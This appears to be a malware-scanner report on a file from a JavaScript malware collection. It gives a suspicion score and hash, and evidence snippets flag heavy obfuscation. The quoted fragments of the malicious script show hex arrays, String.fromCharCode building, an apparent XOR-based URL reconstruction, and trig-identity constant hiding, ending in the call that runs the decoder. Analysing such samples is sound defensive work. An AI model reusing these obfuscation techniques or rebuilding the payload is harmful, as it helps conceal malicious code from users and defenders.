Suspicious ^80% javascript-malware-collection Download

20151217_62409c104b51c7ec240249e7029b1f9b.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256dde710ed0e8c2e015359738d098dc46acedf1595e4fd85a5ae3da430342ba281

Evidence

0x3f hex byte token line 1

1QSUsTXOV=[0x0,0x5,0xc,0x10,0x16,0x19,0x1f,0x23,0x2b,0x31,0x34,0x38,0x3f,0x41,0x47,0x4b,0x52,0x58,0x5c,0x62,0x67,0x6a,0x72,0x74,0x7a,0x7d,0x85,0x87,0x8c,0x94,0x97,0x9f,0xa2,0xa5,0xaa,0xaf,0xb8,0xbb,0x …

Builds characters with String.fromCharCode line 2

2:154… '/','X','Q','G','<','0','Q','H','^','0','X','J','!','i','r','4',String.fromCharCode(10),'/',';','"','B','@','p','S','w','Q','I','i',' ',String.fromCharCode(13),'i','t','r','i','#','e','B','Q','y','i','t',',','C' …

XOR URL reconstruction call line 2

2:766… 'r','!',':','5','(','$','c','`','%',']','`','&','s','R','u','j',String.fromCharCode(39),'%','$','O','7','Q',',','(','P','&','y',')','V','^','_','*','I','w','5','z','I','{','+','T','0','d',',','5','K',' ','i','t','`','-','D','.','1','j','2','^','J','-','/','e','F','0','J','C','B','_','x','e','_','1','K','6','3','7','2','i','.','3','>','z','Q','Z','4',')','e',']','T','5 …

Dense indexed short-token grid lines 12–13

12:33… GvIzrwv,PUsLJllnhQu) {iFCTSOQCOwjQBA[MoMsXoGvIzrwv]=PUsLJllnhQu;}
13var u = new Array();u[0]=[];u[0][0]='d';u[0][1]='a';u[0][2]='d';u[0][3]='a';u[0][4]='46';u[0][5]='3d';u[0][6]='42';u[0][7]='14';u[0][8]='46';u[0][9]='14';u[0][10]='25';u[0][11]='14';u[0][12]='16';u[0][13]='47';u[0][14]='3k';u[0][15]='3d';u[0][16]='44';u[0][17]='3g';u[0][18]='3l';u[0][19]='3g';u[0][20]='49';u[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],u[4],u[5]];
20var dTDJDIZxn=[];
21function XESqdyVeRPHQDYodG(dvOzJ){dGCTYUKhECN= '';KFwTGsirJVO=Math.round((Math.pow(Math.sin(331), 2) + Math.pow(Math.cos(331), 2) - 1));while(true){if (KFwTGsirJVO >= (1144+656)/300){break;}dTDJDIZxn[KFwTGsirJVO]=Math.round((Math.pow(Math.sin(880), 2) + Math.pow(Math.cos(880), 2) - 1)); while(true) { if(dTDJDIZxn[KFwTGsirJVO] > dvOzJ[KFwTGsirJVO].length-(479+55)/534) { break; } if (zhodIUh(cZKir(dvOzJ[KFwTGsirJVO][dTDJDIZxn[KFwTGsirJVO]],(7611+369)/285,(2382+778)/316))) {dGCTYUKhECN += SjfAhwxgAcvFDxSgpZTzLZPQyKlAoompoYaILAzliBnBbLbAFMJxTV([dvOzJ[KFwTGsirJVO][dTDJDIZxn[KFwTGsirJVO]]], Math.round((Math.pow(Math.sin(916), 2) + Math.pow(Math.cos(916), 2) - 1)));} dTDJDIZxn[KFwTGsirJVO]++;}KFwTGsirJVO++;} return dGCTYUKhECN}
22var kdrKqiNwydfgxRGZIqfZAJEsexzFiEFGd = 'MrDlOaceumgkRsFPPesSmuUlNVbavWBDjphP';var HzgNWtmnvgKAPTXhDByKMMQLqKpVIyAh = 'XKnCEsocTNaOvRQaGFVhbXpBlThkecLJHERW';IJdzhruHWlAXzvs(XESqdyVeRPHQDYodG(dvOzJ),kdrKqiNwydfgxRGZIqfZAJEsexzFiEFGd,HzgNWtmnvgKAPTXhDByKMMQLqKpVIyAh);